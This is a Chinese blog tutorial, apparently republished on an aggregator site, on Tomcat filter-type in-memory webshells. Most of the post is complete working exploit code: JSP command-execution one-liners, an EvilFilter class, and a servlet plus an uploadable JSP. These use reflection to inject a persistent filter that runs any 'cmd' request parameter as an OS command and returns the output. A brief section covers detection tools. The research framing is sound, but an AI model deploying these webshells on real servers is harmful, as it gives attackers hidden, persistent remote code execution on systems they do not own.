Java Tomcat内存马——filter内存马

news2024/10/6 8:40:56

目录

前言:

(一) 内存马简介

0X01 原理

0X02 内存马类型

2.1  servlet-api类

2.2  spring类

2.3 Java Instrumentation类

(二) filter 内存马

(三)Tomcat Filter 流程分析

0x01 项目搭建

0x02 在访问 /filter 之后的流程分析

 小结:

0x03 在访问 /filter 之前的流程分析

 总结调用过程

小结一下分析流程

(四)Filter 型内存马攻击思路分析

4.1 里面有三个和Filter有关的成员变量:

 它有三个重要的东西:

构造思路

(五) Filter 型内存马的实现

Filter 型内存马 EXP

完整EXP:

(六)排查 Java 内存马的几个方法

0x01 arthas

0x02 copagent

0x03 java-memshell-scanner

参考资料


(一) 内存马简介


内存马是无文件Webshell,就是服务器上不会存在需要链接的Webshell脚本文件。

0X01 原理

  • 利用Java Web组件:动态添加恶意组件,如Servlet、Filter、Listener等。在Spring框架下就是Controller、Intercepter。
  • 修改字节码:利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。

0X02 内存马类型

目前安全行业主要讨论的内存马主要分为以下几种方式:

2.1  servlet-api类

  • filter型
  • listener型
  • servlet型

2.2  spring类

  • 拦截器
  • controller型

2.3 Java Instrumentation类

  • agent型

(二) filter 内存马


 filter (过滤器),我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作,下面是一张简单的流程图

从上图可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell

所以我们后文的目标:动态注册恶意 Filter,并且将其放到最前面

(三)Tomcat Filter 流程分析


在学习 Filter 内存马的注入之前,我们先来分析一下正常 Filter 在 Tocat 中的流程是怎么样的

0x01 项目搭建

  • 自定义 Filter
import javax.servlet.*;  
import java.io.IOException;  
  
public class filter implements Filter{  
    @Override  
 public void init(FilterConfig filterConfig) throws ServletException {  
        System.out.println("Filter 初始构造完成");  
 }  
  
    @Override  
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
        System.out.println("执行了过滤操作");  
 filterChain.doFilter(servletRequest,servletResponse);  
 }  
  
    @Override  
 public void destroy() {  
  
    }  
}

  • 然后修改 web.xml 文件,这里我们设置url-pattern /filter, 即访问 /filter 才会触发
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
 
    <filter> 
        <filter-name>filter</filter-name>
        <filter-class>filter</filter-class>
    </filter>
    <filter-mapping> 
        <filter-name>filter</filter-name>
        <url-pattern>/filter</url-pattern>
    </filter-mapping>
 
</web-app>

  • pom.xml 里面加上 tomcat 的依赖库用于后续调试
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.55</version> 
    <scope>provided</scope> 
</dependency>

0x02 在访问 /filter 之后的流程分析

流程分析之前,需要导入 catalina.jar 这个包,以及 tomcat-websocket 包。

  • 导入完毕之后,我们在 filter.java 下的 doFilter 这个地方打断点。并且访问 /filter 接口:

  •  这是因为我们已经新建了一个 Filter,所以会直接进入到 doFilter 方法,我们跟进去。

这里会进到 ApplicationFilterChain 类的 doFilter() 方法,它主要是进行了 Globals.IS_SECURITY_ENABLED 的判断,也就是全局安全服务是否开启的判断。这里最后会调用this.internalDoFilter 方法:

  • 我们继续跟进去,这里是 ApplicationFilterChain 类的 internalDoFilter() 方法

 其中这里的filter是从 ApplicationFilterConfig filterConfig = filters[pos++]; 中来的,而filters的定义如下:

private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

现在我们其实是有两个 filter 的,如图

可以看到,0 是我们自己设定的 filter1 是 tomcat 自带的 filter,因为此时 pos 是 1 所以取到 tomcat 的 filter。

  • 我们继续往里走,这里就调用了 tomcat 的 filter 的 doFilter() 方法

  • 跟进去,这里我发现用maven导入的tomcat环境没有这个tomcat-webscoket.jar包,得自己把包添加到依赖里面去

  • 再往下走,会走到 chain.doFilter() 这个地方,我们会发现这一个方法会回到 ApplicationFilterChain 类的 doFilter() 方法里面

 这个地方实际需要理解一下,因为我们是一条 Filter 链,所以会一个个获取 Filter,直到最后一个。那么现在我们只定义了一个 Filter,所以现在这次循环获取 Filter 链就是最后一次。

  • 在最后一次获取 Filter 链的时候,会走到 this.servlet.service(request, response); 这个地方

 小结:


  • 最后一个 filter 调用 servlet 的 service 方法
  • 上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;这也就是我们的 Filter 链,是去逐个获取的。
  • 最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。
  • 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。
  • 至此,我们的正向分析过程就结束了,得到的结论是 Filter Chain 的调用结构是一个个 doFilter() 的,最后一个 Filter 会调用  Servlet.service()

0x03 在访问 /filter 之前的流程分析


假设我们基于filter去实现一个内存马,我们需要找到filter是如何被创建的

我们可以尝试把断点下载最远的一处 invoke() 方法的地方,我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序。

  •  接着是 AbstractAccessLogValve 类的 invoke() 方法,然后就是一步步调用 invoke() 方法

 总结调用过程


 至此,invoke() 部分的所有流程我们都分析完毕了,接着继续往上看,也就是 doFilter() 方法。这个 doFilter() 方法也是由最近的那个 invoke() 方法调用的。如图,我们把断点下过去。如果师傅们这个 invoke() 方法可用的话,可以断点下这里,如果不可用的话可以下到后面 doFilter() 方法。

这里我们要重点关注前文说过的 filterChain 这个变量,那它是什么呢?

 我们跟进 createFilterChain() 这个方法。使用 ApplicationFilterFactory.createFilterChain() 创建了一个过滤链,将 request, wrapper, servlet 进行传递。

 我们在 createFilterChain() 方法走一下流程。这里从传入的request里面获取FilterChain,但实际上这个FilterChain是为空的里面没有filter,然后为其设置servlet等属性

然后从当前的context中获取一个FilterMaps数组,里面装了当前context中filter的属性,如名字和对应的url路径;如果为空则直接返回该FilterChain,否则就接着走:

使用循环去匹配filterMaps中的元素是否匹配上从传入的request中获取dispatcher和requestPath,匹配上的话则使用context.findFilterConfig(filterMap.getFilterName())从context中获取匹配上的Filter配置filterConfig,最后将该配置添加到filterChain对象中

 这时候我们再进入 doFilter() 的方法其实是,将请求交给其 pipeline 去处理,由 pipeline 中的所有 valve 顺序处理请求。后续的就是我们前文分析过的 在访问 /filter 之后的流程分析

小结一下分析流程


1. 首先是 invoke() 方法

层层调用管道,在最后一个管道的地方会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配。

2. filterchain 拿出来之后

进行 doFilter() 工作,将请求交给对应的 pipeline 去处理,也就是进行一个 doFilter() —-> internalDoFilter() —-> doFilter();直到最后一个 filter 被调用。

3. 最后一个 filter

最后一个 filter 会执行完 doFilter() 操作,随后会跳转到 Servlet.service() 这里。至此,流程分析完毕。

4. 小结一下攻击的思路

分析完了运行流程,那应该对应的也思考一下如何攻击。

  • 我们的攻击代码,应该是生效于这一块的

 我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。

  • 而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"  
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"  
 version="4.0">  
 <filter> 
   <filter-name>filter</filter-name>  
   <filter-class>filter</filter-class>  
 </filter>  
 <filter-mapping> 
   <filter-name>filter</filter-name>  
   <url-pattern>/filter</url-pattern>  
 </filter-mapping>
 </web-app>

所以后续的话,我们思考的是通过某种方式去触发修改它

(四)Filter 型内存马攻击思路分析


filterMaps 可以通过如下两个方法添加数据,对应的类是 StandardContext 这个类

@Override
public void addFilterMap(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.add(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}
 
@Override
public void addFilterMapBefore(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.addBefore(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}

StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

4.1 里面有三个和Filter有关的成员变量:


  • filterMaps变量:包含所有过滤器的URL映射关系
 private final ContextFilterMaps filterMaps = new ContextFilterMaps();

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

  • filterDefs变量:包含所有过滤器包括实例内部等变量
private Map<String, FilterDef> filterDefs = new HashMap<>();

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

 它有三个重要的东西:

一个是ServletContext,一个是filter,一个是filterDef

  • 其中filterDef就是对应web.xml中的filter标签了
<filter>  
 <filter-name>filter</filter-name>  
 <filter-class>filter</filter-class>  
</filter>

从org.apache.catalina.core.StandardContext#filterStart中可以看到filterConfig可以通过filterConfigs.put(name, filterConfig); 添加

构造思路


通过前文分析,得出构造的主要思路如下

  1. 获取当前应用的ServletContext对象
  2. 通过ServletContext对象再获取filterConfigs
  3. 接着实现自定义想要注入的filter对象
  4. 然后为自定义对象的filter创建一个FilterDef
  5. 最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

(五) Filter 型内存马的实现


我们先来看一下 JSP 的无回显马:

<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

接着我们看有回显马:

<% if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.print(new String(b));
    }
    out.print("</pre>");
}
%>

那么现在,我们要把这个恶意的有回显的马插入到 Filter 里面进去,也就是说要配置一个恶意的 Filter,代码如图

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
 
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
 
 
public class EvilFilter implements Filter {
    public void destroy() {
    }
 
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
    }
 
    public void init(FilterConfig config) throws ServletException {
 
    }
 
}

  • 记得先把 web.xml 中的filter配置修改为如下:
<filter> 
    <filter-name>filter</filter-name>
    <filter-class>EvilFilter</filter-class>
</filter>
<filter-mapping> 
    <filter-name>filter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

本质上其实就是 Filter 中接受执行参数,但是如果我们在现实情况中需要动态的将该 Filter 给添加进去。

由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext 成为了问题的关键。

Filter 型内存马 EXP


我们这里尝试分步骤理解一下 EXP,构造思路在上面,这里就不赘述了,画一个流程图方便师傅们理解一下

  • 先是通过反射获取到 standContext对象和standContext中的filterConfigs
ServletContext servletContext = request.getSession().getServletContext();  
  
Field appctx = servletContext.getClass().getDeclaredField("context");  
appctx.setAccessible(true);  
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);  
  
Field stdctx = applicationContext.getClass().getDeclaredField("context");  
stdctx.setAccessible(true);  
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);  
  
  
String FilterName = "cmd_Filter";  
Configs = standardContext.getClass().getDeclaredField("filterConfigs");  
Configs.setAccessible(true);  
filterConfigs = (Map) Configs.get(standardContext); 
  • 接着定义一个 Filter
Filter filter = new Filter() {
 
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
 
    }
 
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null){
 
            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
  
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            servletResponse.getWriter().write(output);
 
            return; }
        filterChain.doFilter(servletRequest,servletResponse);
    }
 
    @Override
    public void destroy() {
 
    }
}
  • 再设置 FilterDef 和 FilterMaps
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
 
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
 
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
 
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

最终将它们都添加到 filterConfig 里面,再放到 web.xml 里面

//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");

完整EXP:

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
 
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
 
import java.util.Map;
import java.util.Scanner;
 
@WebServlet("/demoServlet")
public class FilterShell extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
 
 
//        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();  
//        org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();  
//        org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();  
//该获取StandardContext测试报错  
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext  
            ServletContext servletContext = request.getSession().getServletContext();
 
            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 
 
            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);
 
            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {
 
                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {
 
                    }
 
                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){
 
                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//  
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);
 
                            return; }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }
 
                    @Override
                    public void destroy() {
 
                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
 
                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);
 
                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                response.getWriter().write("Success");
 
 
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
 
 
    }
 
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}
 
  • 先访问 /demoServlet 路径,会返回success字符,然后再访问任意路径传参即可:

  •  如果文件上传的话应该是上传一个 .jsp 文件
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
 
<%
    final String name = "test";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();
 
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
 
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
 
            }
 
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
 
            @Override
            public void destroy() {
 
            }
 
        };
 
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);
 
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
        standardContext.addFilterMapBefore(filterMap);
 
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
 
        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>
 

(六)排查 Java 内存马的几个方法


0x01 arthas

项目链接:https://github.com/alibaba/arthas

我们可以利用该项目来检测我们的内存马

java -jar arthas-boot.jar --telnet-port 9998 --http-port -1

这里也可以直接 java -jar arthas-boot.jar

  • 这里选择我们 Tomcat 的进程

  •  输入 1 之后会进入如下进程

  •  利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类?

  • 利用jad --source-only org.apache.jsp.evil_jsp 直接将 Class 进行反编译

  •  同时也可以进行监控 ,当我们访问 url 就会输出监控结果
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'

0x02 copagent

项目链接:https://github.com/LandGrey/copagent

也是一款可以检测内存马的工具

0x03 java-memshell-scanner


项目链接:https://github.com/c0ny1/java-memshell-scanner

c0ny1 师傅写的检测内存马的工具,能够检测并且进行删除,是一个非常方便的工具

该工具是由 jsp 实现的,我们这里主要来学习一下 c0ny1 师傅 删除内存马的逻辑

检测是通过遍历 filterMaps 中的所有 filterMap 然后显示出来,让我们自己认为判断,所以这里提供了 dumpclass

 删除的话,这里主要是通过反射调用 StandardContext#removeFilterDef 方法来进行删除

 跟进一下

参考资料

Java内存马系列-03-Tomcat 之 Filter 型内存马

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/11812.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Spring】——5、@Lazy懒加载

&#x1f4eb;作者简介&#xff1a;zhz小白 公众号&#xff1a;小白的Java进阶之路 专业技能&#xff1a; 1、Java基础&#xff0c;并精通多线程的开发&#xff0c;熟悉JVM原理 2、熟悉Java基础&#xff0c;并精通多线程的开发&#xff0c;熟悉JVM原理&#xff0c;具备⼀定的线…

【BOOST C++ 12 函数式编程】(5) Boost.Lambda

一、说明Boost.Lambda 在 C11 之前&#xff0c;您需要使用像 Boost.Lambda 这样的库来利用 lambda 函数。从 C11 开始&#xff0c;这个库可以被视为已弃用&#xff0c;因为 lambda 函数现在是编程语言的一部分。如果您在不支持 C11 的开发环境中工作&#xff0c;您应该在转向 B…

大空间享大智慧 奇瑞新能源奇瑞大蚂蚁

在亲子消费市场上家庭消费已经成为了主力军。亲子消费的重心已经从以饮食、服装为主向教育、游乐等方向多元化发展。而在出行方面汽车的品质与驾乘感受也是如今消费者选择的主要需求。所以实惠、安全、环保的新能源大空间SUV成为了越来越多二胎、三胎家庭的最终选择。奇瑞新能源…

线程池使用

转载&#xff1a;线程池详解&#xff08;通俗易懂超级好&#xff09;_拉格朗日(Lagrange)的博客-CSDN博客_线程池 目录 基本概念 什么是线程池 线程池优点 线程池源码 ThreadPoolExecutor 参数解释 具体使用 线程池的工作原理 线程池的参数 任务队列&#xff08;w…

元数据管理-解决方案调研一:元数据概述

一、元数据概述 1.1、定义 元数据定义&#xff1a;描述数据的数据&#xff0c;对数据及信息资源的描述性信息。小编认为元数据不仅仅是关于数据的数据&#xff0c;它还是一种上下文&#xff0c;赋予信息更加丰富的身份。 以图片为例&#xff0c;其图片本身是一种数据&#xf…

操作系统的内存究竟是怎么一回事?

摘要&#xff1a;操作系统的内存究竟是怎么一回事&#xff1f;带你完整复习一遍《操作系统》一书中有关内存的所有知识点本文分享自华为云社区《操作系统的内存究竟是怎么一回事&#xff1f;带你完整复习一遍《操作系统》一书中有关内存的所有知识点》&#xff0c;作者&#xf…

【图神经网络】使用DGL框架实现简单图分类任务

使用DGL框架实现简单图分类任务简单图分类任务实现过程打包一个图的小批量定义图分类器图卷积读出和分类准备和训练核心代码参考资料图分类&#xff08;预测图的标签&#xff09;是图结构数据里一类重要的问题。它的应用广泛&#xff0c;可见于生物信息学、化学信息学、社交网络…

aws xray ec2环境搭建和基础用法

参考资料 https://docs.amazonaws.cn/en_us/xray/latest/devguide/xray-daemon.html https://docs.aws.amazon.com/xray-sdk-for-nodejs/latest/reference/ https://github.com/aws/aws-xray-sdk-node https://docs.aws.amazon.com/xray-sdk-for-python/latest/reference/ba…

联想集团:长期前景稳定,业务转型正在提高盈利能力

来源;猛兽财经 作者&#xff1a;猛兽财经 由疫情驱动的个人电脑需求正在减弱 在经历了两年的个人电脑销售强劲增长之后&#xff0c;随着全球对疫情封锁限制的放松&#xff0c;由疫情引发的远程工作和在线学习趋势带来的全球个人电脑需求正在减弱。根据IDC的数据&#xff0c;20…

文件之间的拷贝(拷贝图片实例)java.io.FileNotFoundException: G:\dad (拒绝访问。)通过绝对路径获取各种文件名

1.报错解决 :java.io.FileNotFoundException: G:\dad (拒绝访问。) 参考文献:(364条消息) java.io.FileNotFoundException:(拒接访问&#xff09;_corelone2的博客-CSDN博客_java.io.filenotfoundexception 2.code 代码参考地址:(364条消息) java中文件拷贝的几种方式_babar…

深入理解New操作符

前言 当我们对函数进行实例化时&#xff0c;需要用new操作符来实现。那么&#xff0c;对于它的底层实现原理你是否清楚呢&#xff1f;本文就跟大家分享下它的原理并用一个函数来模拟实现它&#xff0c;欢迎各位感兴趣的开发者阅读本文。 原理分析 我们通过一个具体的例子来看…

MySQL——数据库基础

文章目录什么叫做数据库&#xff1f;主流数据库基本使用服务器、数据库、表之间的关系MySQL逻辑结构MySQL架构MySQL分类存储引擎什么叫做数据库&#xff1f; 软件角度&#xff1a; 为用户或者用户程序提供更加方便的数据管理的软件&#xff0c;通过SQL语句进行&#xff01; 数…

【PostgreSQL-14版本snapshot的几点优化】

最近在分析PostgreSQL-14版本性能提升的时候&#xff0c;关注到了Snapshots的这一部分。发现在PostgreSQL-14版本&#xff0c;连续合入了好几个和Snapshots相关的patch。 并且&#xff0c;Andres Freund也通过这些改进显著减少了已确定的快照可扩展性瓶颈&#xff0c;从而改进了…

【C++】C/C++内存管理

众所周知&#xff0c;C/C没有内存&#xff08;垃圾&#xff09;回收机制&#xff0c;所以写C/C程序常常会面临内存泄漏等问题。这一节我们一起来学习C/C的内存管理机制&#xff0c;深入了解这套机制有利于我们之后写出更好的C/C程序。 在那些看不到太阳的日子里&#xff0c;别忘…

Spring(九)- Spring自定义命名空间整合第三方框架原理解析

文章目录一、Spring通过命名空间整合第三方框架1. Dubbo 命名空间2. Context 命名空间二、Spring自定义命名空间原理解析三、手写自定义命名空间标签与Spring整合一、Spring通过命名空间整合第三方框架 1. Dubbo 命名空间 Spring 整合其他组件时就不像MyBatis这么简单了&#…

电影影院购票管理系统

1、项目介绍 电影影院购票管理系统拥有两种角色&#xff1a;管理员和用户 管理员&#xff1a;用户管理、影片管理、影厅管理、订单管理、影评管理、排片管理等 用户&#xff1a;登录注册、个人中心、查看电影票、电影选座、下单支付、发布影评、查看票房统计等 2、项目技术 …

14、Horizontal Pod Autoscal

